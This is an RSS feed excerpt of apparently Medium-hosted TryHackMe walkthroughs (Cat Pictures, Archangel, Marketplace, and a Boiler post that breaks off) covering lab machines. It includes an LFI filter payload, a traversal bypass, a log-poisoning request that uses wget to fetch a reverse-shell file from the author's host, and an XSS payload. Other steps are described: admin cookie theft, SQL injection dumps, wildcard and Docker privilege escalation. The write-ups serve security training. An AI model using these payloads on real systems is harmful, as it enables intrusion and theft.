            <content:encoded><![CDATA[<h3>Cat Pictures CTF — TryHackMe</h3><p>Hello everyone!<br>Long time no see, but I am back with another walkthrough for Cat Pictures CTF on TryHackMe. At this point, I must confess that, as a cat person, I was super intrigued by the CTF (you know hoping for some cute cat pictures while trying to get my way through the machine, although at the end I didn’t get any xD) So, without any further ado, let’s jump into it, shall we?</p><p>Proposed soundtrack: <a href="https://www.youtube.com/watch?v=Z9GbGO7CKdQ">https://www.youtube.com/watch?v=Z9GbGO7CKdQ</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*5mNC4CP5cLF3aanKiQ486Q.png" /><figcaption>Cat Pictures.</figcaption></figure><h3><strong>Enumeration</strong></h3><p>As always, we will trigger a basic Nmap enumeration in order to check out with what we are dealing with.</p><blockquote>nmap -sC -sV 10.10.24.249</blockquote><blockquote>Starting Nmap 7.60 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2021–06–27 12:37 BST<br>Nmap scan report for ip-10–10–24–249.eu-west-1.compute.internal (10.10.24.249)<br>Host is up (0.0011s latency).<br>Not shown: 997 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp filtered ftp<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 37:43:64:80:d3:5a:74:62:81:b7:80:6b:1a:23:d8:4a (RSA)<br>| 256 53:c6:82:ef:d2:77:33:ef:c1:3d:9c:15:13:54:0e:b2 (ECDSA)<br>|_ 256 ba:97:c3:23:d4:f2:cc:08:2c:e1:2b:30:06:18:95:41 (EdDSA)<br>8080/tcp open http Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1d PHP/7.3.27)<br>| http-open-proxy: Potentially OPEN proxy.<br>|_Methods supported:CONNECTION<br>|_http-server-header: Apache/2.4.46 (Unix) OpenSSL/1.1.1d PHP/7.3.27<br>|_http-title: Cat Pictures — Index page<br>MAC Address: 02:66:F4:39:B0:41 (Unknown)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><p>Well, I guess not much going on. Unfortunately, FTP port 21 is filtered and do not expect any findings there (spoiler alert: at least for the time being), so let’s quickly move on to port 8080.</p><p>The site on the port 8080 seems to be some kind of forum for hosting cat pictures and it is built with phpBB framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kBUJlYHjYVL-lK9ZOxYgRw.png" /><figcaption>Cat Pictures Main Page.</figcaption></figure><p>Let’s get gobuster do some work for us while we are checking if we can find any exploits for this framework.</p><blockquote>gobuster dir -u <a href="http://10.10.24.249:8080/">http://10.10.24.249:8080/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x tar,php,cgi,txt</blockquote><p>Unfortunately, while enumerating the site /docs/CHANGELOG.html revealed that phpBB version was 3.3.x, which was not suspected for any vulnerabilities. I kept checking the rest of the directories and /feed revealed something very interesting that gave me an ‘AHA’ moment.</p><p>As soon as we access it, a XML file is downloaded that gives us a clue: “Knock knock! Magic numbers: 1111, 2222, 3333, 4444”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwboT6xETxPMkCaDx0jmGw.png" /><figcaption>Knock knock, who is?</figcaption></figure><p>The XML is a straight reference to a technique named port knocking (an interesting article in regards to it, can be found here: <a href="https://www.howtogeek.com/442733/how-to-use-port-knocking-on-linux-and-why-you-shouldnt/">https://www.howtogeek.com/442733/how-to-use-port-knocking-on-linux-and-why-you-shouldnt/</a>)</p><p>There are many ways that you can perform the port knocking. In my case, I choose a tool named <strong>knockd</strong>.</p><blockquote>knock 10.10.24.249 1111 2222 3333 4444 -v</blockquote><blockquote>hitting tcp 10.10.24.249:1111<br>hitting tcp 10.10.24.249:2222<br>hitting tcp 10.10.24.249:3333<br>hitting tcp 10.10.24.249:4444</blockquote><p>Now, that we have knocked all the right doors… I mean ports, it is a good idea to perform a new port scan. This time, I will get a little help from Masscan to perform a quick scan to all the machine’s port and after that perform a more focused scan with Nmap, in order to get further details for the discovered ports.</p><blockquote>masscan 10.10.24.249 — ports 0–65535</blockquote><p>The reason why I have chose to work with Masscan first, is the fact that Nmap can take hours for scanning all the ports (after all we are talking for 65535 ports) and we do not have all the time in the world for this.<br>Masscan has revealed that ports 21, 22, 4420 and 8080 are now open. So, after the port knocking it seems that we have “unlocked” FTP port 21 (remember? it used to be filtered at the very beginning) and we now have a new port, 4420, which I wonder what it might be holding for us. Let’s go for a third scan, with Nmap.</p><blockquote>nmap -A -T4 -p 4420,22,21,8080 10.10.24.249</blockquote><p>BINGO!! I will skip the Nmap output this time as it is quite lengthy, however the key points from the scan is the fact that we can access FTP through anonymous login and that port 4420 is running a nvm-express. First things first, let’s check the FTP.</p><p>On the FTP server, find a note.txt file which gives away the password for connecting to the nvm-express port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*wkPoe1npJ-ltd7kViZ6Ncg.png" /><figcaption>Something seems fishy, isn’t it?</figcaption></figure><h3><strong>Escalation</strong></h3><p>We can connect now to the 4420 port using the following NetCat command. As soon as we will try to connect, we will be asked to provide the password and after that it seems that we are getting some kind of shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*dfoyweeMtsCpmzenRHKWFA.png" /><figcaption>Connect to port 4420.</figcaption></figure><p>After enumerating the machine a little bit, we can try to get a reverse shell, in order to have a more stable shell. Continuing with the enumeration, on the reverse shell this time, we come across a binary on /home/catlover directory, however we are unable to execute it without the correct password. Unfortunately, the machine does not have strings installed in order to check if we can find something interesting that would help us running it, therefore we should download it locally to continue with the investigation. NetCat will help us with this task once more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd6IS7Jq8KhfuYnBFZccPg.png" /><figcaption>Runme…locally!</figcaption></figure><p>I ran strings on the file and redirected its output on a file, in order to be able to check it more easily. Along with too many gibberish, we can find a rather revealing part that might give us a hint for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*9ud17bgKTeq9ARMNF7CYUg.png" /><figcaption>Look what we’ve got here!</figcaption></figure><p>Upon running the binary on the victim machine, after a couple of seconds reveals a private SSH key, that we could use it to get further privilege escalation on the system. We should copy the id_rsa to our local machine, change permissions to 600 and use catlover user to ssh to the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*uw8UVpZg-QwJULdLK4QJlg.png" /><figcaption>Fake root!</figcaption></figure><p>Wow! It seems that we are root now! Welp, not quite yet! Not quite sure just yet (as neither Nmap or Masscan revealed something related), but the hostname indicates that we have landed on a container. At this moment, in order to get sure, I will run a final Nmap scan to the standard Docker port 2375. I guess I was not disappointed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*DJjce-cnXsukFKLpNchR4Q.png" /><figcaption>Docker Nmap Scan.</figcaption></figure><p>So, now we will have to find a way to escape the container and get full and real control over our victim. After searching for some time, we came across /opt/clean/clean.sh that can be ran by root. We can take advantage of it, by adding the following command for spawning a new reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l9lIAUhj_v_nTmDJFe1vQg.png" /><figcaption>Finally… root!</figcaption></figure><p>Et voila!!We are finally root (for real this time)!</p><p>That’s all guys for today!<br>I hope you enjoyed my write-up, as much as I enjoyed writing it.<br>See you next time and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=730de7a12a42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Archangel CTF — TryHackMe]]></title>
            <link>https://arrowa.medium.com/archangel-ctf-tryhackme-e263f4a23f96?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/e263f4a23f96</guid>
            <category><![CDATA[escalation]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[php-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sun, 07 Feb 2021 11:26:08 GMT</pubDate>
            <atom:updated>2021-02-07T11:26:08.154Z</atom:updated>
            <content:encoded><![CDATA[<h3>Archangel CTF — TryHackMe</h3><p>Hello, everyone!<br>Back with a write-up on TryHackMe Archangel CTF, a fairly easy Linux box involving LFI, Apache Log Poisoning and Linux Privilege Escalation by taking advantage of Cronjobs and PATH Variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*Bs05D6KiC5kKzDrFcgxt_w.jpeg" /><figcaption>Archangel CTF room.</figcaption></figure><h3>Enumeration</h3><p>Let’s start the enumeration with nmap.</p><blockquote>root@ip-10–10–80–17:~# nmap -sV -sC 10.10.213.254</blockquote><blockquote>Starting Nmap 7.60 ( https://nmap.org ) at 2021–02–06 21:36 GMT<br>Nmap scan report for mafialive.thm (10.10.213.254)<br>Host is up (0.00078s latency).<br>Not shown: 998 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)<br>| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)<br>|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (EdDSA)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/test.php<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Site doesn’t have a title (text/html).<br>MAC Address: 02:03:49:4F:A8:3F (Unknown)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><blockquote>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 8.82 seconds</blockquote><p>Not much. Nmap revealed an Ubuntu machine with port 22 and 80 open. At this point the first thing, I’ve done, was to run gobuster against the target, but apart from the /flag directory (which was a rabbit hole), nothing of interest emerged.<br>So, I fired up Firefox, to have a look at the landing page of the site. Neither on the main page were much to see but the support email revealed the hostname of the machine, which really comes in handy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WuNkydUtMUEhTv_gOCKNw.jpeg" /><figcaption>Hostname</figcaption></figure><p>Adding the above domain on our /etc/hosts and retriggering gobuster, this time rewards us with much more info.</p><blockquote>gobuster dir -u http://mafialive.thm/ -w /usr/share/wordlists/dirb/common.txt -x tar,php,txt,cgi</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*YOP_GDQiNSjOnIQyVxNUxg.jpeg" /><figcaption>gobuster directories found.</figcaption></figure><p>Bingo! Robots.txt shows the way and reveals that we should have a look at the test.php page.</p><h3>PHP LFI</h3><p>The page is really simple. A php page with a button which upon clicking it reveals a quote used on “Mr.Robot” series.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ZKxbY5v2ClO6w6fgEnTsA.jpeg" /><figcaption>“Control is an illusion”</figcaption></figure><p>What caught my attention was the way that mrrobot.php page is appearing when requested. A useful page with a PHP LFI cheat sheet can be found <a href="https://highon.coffee/blog/lfi-cheat-sheet/">here</a>.</p><p>The payload that is going to be used here, in order to read the contents of the test.php file is the following:<br>“ ?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJcFVuYfwhfrhrQg8VGnmg.jpeg" /><figcaption>test.php PHP Wrapper Base64.</figcaption></figure><p>The above request contains a PHP Wrapper, which is reading the source that we provided (in our case the test.php) and outputs its contents encoded on base64. So, essentially, as soon as we decode the above hash, we will get the contents of the test.php. There are tons of ways for decoding the hash, in my case, I chose the Linux built-in command “base64”. Tools such as <a href="https://gchq.github.io/CyberChef/">CyberChef</a> could make the work just fine as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*3rq6cAQEODe706-yIjETog.jpeg" /><figcaption>test.php contents.</figcaption></figure><p>If we take a look on the code above, we can see that there is a control in place for rejecting <a href="https://www.hackingarticles.in/comprehensive-guide-on-path-traversal/">path/directory traversal attacks</a>. However, this control can be easy bypassed if instead of ‘../..’ , we use something like ‘.././..’ . A cheat sheet with more options can be found <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal">here</a>.<br>At the beginning of the enumeration, we found out that we are dealing with an Apache server, so if we can redirect ourselves to the /var/log/apache2 /access.log, we would be able to perform a Apache Log Poisoning in order to gain access to the machine.</p><h3>Apache Log Poisoning</h3><p>Indeed, if we replace the previous request on our browser with</p><blockquote><a href="http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././log/apache2/access.log">http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././log/apache2/access.log</a></blockquote><p>we can see on our browser the Apache Server Access logs. <br><strong>Hint</strong>: To get a more comprehensive view of the logs, right-click on the browser and select View Page Source.</p><p>Now, that we have verified that accessing Apache Logs is successful, we can work on the <a href="https://www.hackingarticles.in/apache-log-poisoning-through-lfi/">Log Poisoning</a>. The first thing that we should work on is to add the following piece of php code on the User-Agent Header of our request in order to be able to pass commands (RCE exploit) along with our browser requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*Q_aFzU43Klc2Kiep3qsQNg.jpeg" /><figcaption>Abuse User-Agent Header.</figcaption></figure><p>After that I used a <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php reverse shell</a>, adapted on my needs, started a Simple Python Server and used the following request in order to download the file on the target’s machine:</p><blockquote><a href="http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././log/apache2/access.log&amp;cmd=wget">http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././log/apache2/access.log&amp;cmd=wget</a> <a href="http://10.10.80.17:5555/rs.php">http://10.10.80.17:5555/rs.php</a></blockquote><p>We can verify if our reverse shell was successfully downloaded on the target by sending on the logs a ‘ls -la’ command. Next, we should launch our NetCat to listen on the port that was configured on the reverse shell and request the following page from the server in order to get our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*QUSDCEZJqxBQVgvbAO38DA.jpeg" /><figcaption>Initial reverse shell.</figcaption></figure><h3>User Privilege Escalation</h3><p>We managed to get our way into the server as www-data user. If we enumerate the server a little either manually or by using a tool such as <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh">Linpeas.sh</a>, soon enough we will come across a cronjob ran by archangel user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*5OH9wTSH5fv_X1WMUb7y0w.jpeg" /><figcaption>Archangel Cron Task.</figcaption></figure><p>Unfortuantely for the archangel user, www-data user can modify that script and can help us to take advantage of the crontask in order to escalate our user privileges. A very good article of abusing crontasks can be found <a href="https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/">here</a>. The exploit is really easy. All we have to do is to modify the script so that it will spawn a bash reverse shell, trigger our NetCat session once more, and wait for the crontask to be executed. Boom! We are archangel now!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oO6VdYB-NROjNo4T1cFytg.jpeg" /><figcaption>Escalation to archangel user.</figcaption></figure><h3>Root Privilege Escalation</h3><p>Digging a little into the Archangel’s home directory, we came across an executable named backup. Upon execution, we can see that the executable is using the cp command, however without containing its full path. This is a really bad practice as an attacker can take advantage of this and exploit it really simply as we will see below.</p><p>All, we will have to do is to create an executable cp file on the /tmp directory, which will contain in fact the “/bin/bash” command and add the /tmp directory into machines $PATH. As soon as, we re-run the backup executable, we get our root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*K8oqRAIwJX6gRAbx0QajSw.jpeg" /><figcaption>Root Escalation.</figcaption></figure><p>That’s all for today. I hope you enjoyed my write-up, as much as I enjoyed writing it.<br>See you next time and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e263f4a23f96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Marketplace CTF — TryHackMe Walkthrough.]]></title>
            <link>https://arrowa.medium.com/marketplace-ctf-tryhackme-walkthrough-192cf69cb16b?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/192cf69cb16b</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Thu, 31 Dec 2020 14:44:42 GMT</pubDate>
            <atom:updated>2020-12-31T14:44:42.216Z</atom:updated>
            <content:encoded><![CDATA[<h3>Marketplace CTF — TryHackMe Walkthrough.</h3><blockquote>Hello everyone! Back with another TryHackMe CTF Walkthrough. This time, we will check out Marketplace CTF. Marketplace is a medium difficulty machine and according to its tags, we are expecting some cross-site scripting (XSS), SQL injection(SQLi) and Docker vulnerabilities.<br>In my opinion, it seems we will be dealing with a couple of interesting things, so let’s jump into it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*PhBcFPc1fHqcrt90rzLePw.jpeg" /></figure><p>Let’s see what Nmap will find for us. Here is the output:</p><blockquote>root@ip-10–10–65–211:~# nmap -sC -sV 10.10.249.67</blockquote><blockquote>Starting Nmap 7.60 ( https://nmap.org ) at 2020–12–31 09:39 GMT<br>Nmap scan report for ip-10–10–249–67.eu-west-1.compute.internal (10.10.249.67)<br>Host is up (0.00042s latency).<br>Not shown: 997 filtered ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)<br>| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)<br>|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (EdDSA)<br>80/tcp open http nginx 1.19.2<br>| http-robots.txt: 1 disallowed entry <br>|_/admin<br>|_http-server-header: nginx/1.19.2<br>|_http-title: The Marketplace<br>32768/tcp open http Node.js (Express middleware)<br>| http-robots.txt: 1 disallowed entry <br>|_/admin<br>|_http-title: The Marketplace<br>MAC Address: 02:DB:A9:4C:82:A7 (Unknown)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</blockquote><blockquote>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 29.83 seconds</blockquote><p>From the enumeration done, there must be some kind of web application running on the server, as we can see Nginx/Node.js services running on port 80 and 32768 correspondingly. Visiting both ports, we verify that there is a website named “Marketplace” on ports. Another useful info, is the /admin directory, however, upon visiting it, we can see that we do not possess the adequate rights to access it.<br>Last but not least, there is a SSH service on default port 22, but it seems useless as of now. For the time being, let’s just focus on the WebApp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFfkDKFMeiu0SzzYCkxISQ.jpeg" /><figcaption>Marketplace Main Page.</figcaption></figure><p>Really quickly, I headed for the Sign Up link in order to check if I can register a new user. Indeed, we were able to add it and login, with limited access as we are still unable to access /admin. The next thing , I wanted to check after logging in was the session cookie. At first look, we can understand that the cookie has a JWT format, so I headed to <a href="https://jwt.io/">jwt.io</a> in order to check if I could a extract any valuable hint from it. What I got can be seen on the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8OuvJ_6I4rn9EdyHT_SC3Q.jpeg" /><figcaption>Arrow user cookie.</figcaption></figure><p>On the Payload section of the cookie, we can see the username of our newly created user, its id, as well as user’s privilege status. Instinctively, I changed the admin parameter from false to true, because I thought that I could generate a cookie with elevated privileges for my user, but unfortunately, this did not work. So, I moved into checking the rest of the site’s tabs.</p><p>What caught my attention was the New Listing tab, through which the user is able to add new items into the Marketplace. The first thing that we could try here is to try out some XSS payload in order to check if there is any input validation in place. The payload I used for the test was the following:</p><p><strong>&lt;script&gt;alert(“Iamvulnerable”)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*RSay4j3D4NytyOCH2WnD2Q.png" /><figcaption>Validate XSS vulnerability.</figcaption></figure><p>So, now that we are sure that our target is vulnerable to a stored XSS attack, we can work into exploiting it, by crafting our XSS payload (in our case a fake url that redirects to our machine the session cookie of any user that requests the item that contains the malicious piece of code) and triggering a NetCat session listening on port 8001. The payload used can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKlVv-wTvciu1tpWbZK54Q.jpeg" /><figcaption>XSS Attack Setup.</figcaption></figure><p>As soon as, we submitted the new item, we can see on our NetCat session our own cookie, as we are the first user that visited the new item’s page. That’s a good sign, that our stored XSS is working. Now, we should think of a trick in order to temp an administration user to visit the page. The report action that can be found on the rest of the items could make the work for us, so we head into /report/4 (4 is the id of the item that was assign upon the item registration). No long ago after we have submit the report, we can see a new cookie on the NetCat console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBuoBRQuUit2BczFqDqb0Q.jpeg" /><figcaption>Administrator Cookie.</figcaption></figure><p>Before using the cookie that we gained, let’s check out its properties using jwt.io once more. As we can see the cookie belongs to user ‘michael’ and seems to be an authorized administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*vqiuazaYJt-vvWV8eqGS7A.jpeg" /><figcaption>Michael Cookie.</figcaption></figure><p>On the Developer Tools, under the tab Storage, we can find our current cookie session stored. Changing its value with Michael’s cookie and refreshing the page, had as a result to get the privileges that needed in order to access /admin directory. There we can see a list of the currently registered users. The very interesting thing that we can see is that if we change the id of the user we are prompt to their corresponding info page. That is some kind of indication that the application might be vulnerable to a SQLi, as well. So, let’s put it into test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*T8e7BTll29J0bkgdoDrYhw.jpeg" /><figcaption>SQLi Verification.</figcaption></figure><p>With the above, we verified our suspicion. Indeed, we are dealing with a vulnerable MySQL database. We could perform the attack manually, however I preferred the SQLMap (I am kind of a nood with SQL queries, but I promise that I will fix that :) ).<br>The very first thing that we will have to do is to record the HTTP request, as it is needed by SQLMap in order to run through the marketplace’s DB. I chose Burp Suite for this, but the request can be, also, recorded through the Developer tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nbuJIUeux5nUInlG54HOw.jpeg" /><figcaption>HTTP Request.</figcaption></figure><p>Now that we have our HTTP request record, we can trigger SQLMap. The attack technique that I used was the Union (technique=U) and I set the type of the db to MySQL (dbms=MySQL). With -r flag, we can provide the file that contains our HTTP request and we’ve, also, added a delay.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3OizQzKX3omiRV2VrON__g.png" /><figcaption>Trigger SQLmap.</figcaption></figure><p>From the above screenshot, we can see that the user column is vulnerable. As soon as the process is finished, we will need to re-trigger the process once more in order to extract the name of the DB (which it comes as no surprise that is named “marketplace”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYjcpCPnIrhf5iHCpV3IOQ.png" /><figcaption>DB Name Extraction.</figcaption></figure><p>Using its name, we can dump the whole of the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YukfNMOuKgAeEF5gefrpHw.jpeg" /><figcaption>Dump the ‘Marketplace’ DB.</figcaption></figure><p>After searching for a while, we found an interesting entry on the messages.csv, a message for user 3 (which corresponds to ‘Jake’ if we check the administration panel), which includes his SSH password in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mN9TFb2BTdqIn6TtojIosA.jpeg" /><figcaption>SSH Credentials.</figcaption></figure><p>So let’s SSH with Jake. The first thing that we would like to do is to check if we can perform any commands or scripts with sudo rights. Indeed, there is a backup.sh that we can execute as ‘michael’. If we take a look into the script, we can see a tar command along with a wild card. Here is a <a href="https://gtfobins.github.io/gtfobins/tar/">list</a> of tar vulnerabilities that could be combined with a <a href="https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/">wildcard injection</a> in order to elevate our rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*jdWcmZ4QChl7FHCTUbEBaw.jpeg" /><figcaption>Escalate to Michael user.</figcaption></figure><p>We’ve switched to Michael user, a docker user as well. Indeed, there are a couple of images downloaded and we can use any of them to gain root access. This is due to a well-known <a href="https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html">Docker vulnerability</a>. So, I’ve chose the nginx image and started a container in interactive mode and mounted on it the root directory. As soon as we got into the container, we can see that we have gained root access and under the /mnt/root directory, we can find the root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*zYgiflUXoJm_8OQR79rh6Q.jpeg" /><figcaption>Escalate to Root.</figcaption></figure><h3>Thoughts on the Marketplace CTF</h3><p>This CTF combined a good deal of vulnerabilities and it can be seen as a depiction of a real world scenario. Anyone that wants to practice their XSS and SQLi skills should definitely give it a try.<br>Also, a part from the way, I described above, there are multiple other variations for performing the XSS and SQLi exploitations (such as use different kinds of payloads, try manual SQL queries to get your hands into the DB etc.), so take your time with the machine and experiment as much as you can. ;)</p><p>I hope you enjoyed this walkthrough!<br>Up until next time, stay safe and keep hacking! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=192cf69cb16b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Boiler CTF-  TryHackMe Walkthrough.]]></title>
            <link>https://arrowa.medium.com/boiler-ctf-tryhackme-walkthrough-25ff8065fefb?source=rss-2df976d5d653------2</link>
            <guid isPermaLink="false">https://medium.com/p/25ff8065fefb</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[boiler]]></category>
            <dc:creator><![CDATA[Arrow]]></dc:creator>
            <pubDate>Sun, 20 Dec 2020 12:20:59 GMT</pubDate>
            <atom:updated>2020-12-20T12:20:59.450Z</atom:updated>
            <content:encoded><![CDATA[<h3>Boiler CTF- TryHackMe Walkthrough.</h3><blockquote>Hi everyone!<br>I am back for another TryHackMe Walkthrough.<br>Our CTF this time is Boiler, a medium difficulty machine. We can get some clues for the content from its tags, so we do expect to deal with some FTP, SSH and Webmin stuff.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*dWIA07KwkGg9VjJ4NGpOKw.jpeg" /><figcaption>Boiler CTF Room.</figcaption></figure><p>So, know that we are all fired up (or rather bolied xD), let’s jump into it.</p><p>Let’s start with some enumeration, shall we?<br>So, here is my first attempt to enumerate the machine.</p><blockquote>root@ip-10–10–22–172:~# nmap -sV -sC 10.10.73.89</blockquote><blockquote>Starting Nmap 7.60 ( https://nmap.org ) at 2020–12–19 11:51 GMT<br>Nmap scan report for ip-10–10–73–89.eu-west-1.compute.internal (10.10.73.89)<br>Host is up (0.0038s latency).<br>Not shown: 997 closed ports<br>PORT STATE SERVICE VERSION<br>21/tcp open ftp vsftpd 3.0.3<br>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| ftp-syst: <br>| STAT: <br>| FTP server status:<br>| Connected to ::ffff:10.10.22.172<br>| Logged in as ftp<br>| TYPE: ASCII<br>| No session bandwidth limit<br>| Session timeout in seconds is 300<br>| Control connection is plain text<br>| Data connections will be plain text<br>| At session startup, client count was 3<br>| vsFTPd 3.0.3 — secure, fast, stable<br>|_End of status<br>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>10000/tcp open http MiniServ 1.930 (Webmin httpd)<br>|_http-server-header: MiniServ/1.930<br>|_http-title: Site doesn’t have a title (text/html; Charset=iso-8859–1).<br>MAC Address: 02:8D:36:E8:02:47 (Unknown)<br>Service Info: OS: Unix</blockquote><blockquote>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 38.97 seconds</blockquote><p>First thing that caught my attention was the <strong>anonymous FTP</strong>.<br>“Sweet” I though, but it seems I was way too soon down the rabbit hole.<br>Let my explain myself.<br>As soon as I was connected to the FTP server, I came across the following .txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*TQAeQyrMwUsZ-9lI1MvxxA.png" /><figcaption>Anonymous FTP.</figcaption></figure><p>Does this format ring any bells? After dealing with many of these guys on the Biohazard CTF, I instantly thought that this must be a <strong>ROT13 cipher</strong>. I was not mistaken after all, but the smile in face gone away the second I decoded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*afPn-M75gV9AgFvGECxbVw.png" /><figcaption>ROT13 Anonymous FTP decoding.</figcaption></figure><p>It seems that the creator is going to play some cat and mouse game with us. Ok, challenge accepted!<br>Back to the Nmap scan results, we have some <strong>Apache server</strong> running on <strong>port 80</strong> and <strong>Webmin</strong> on <strong>port 10000</strong>. I quickly headed to Webmin port just to verify the existence of a login page. Maybe, we should search for some credentials, I guess.</p><figure><img alt="" 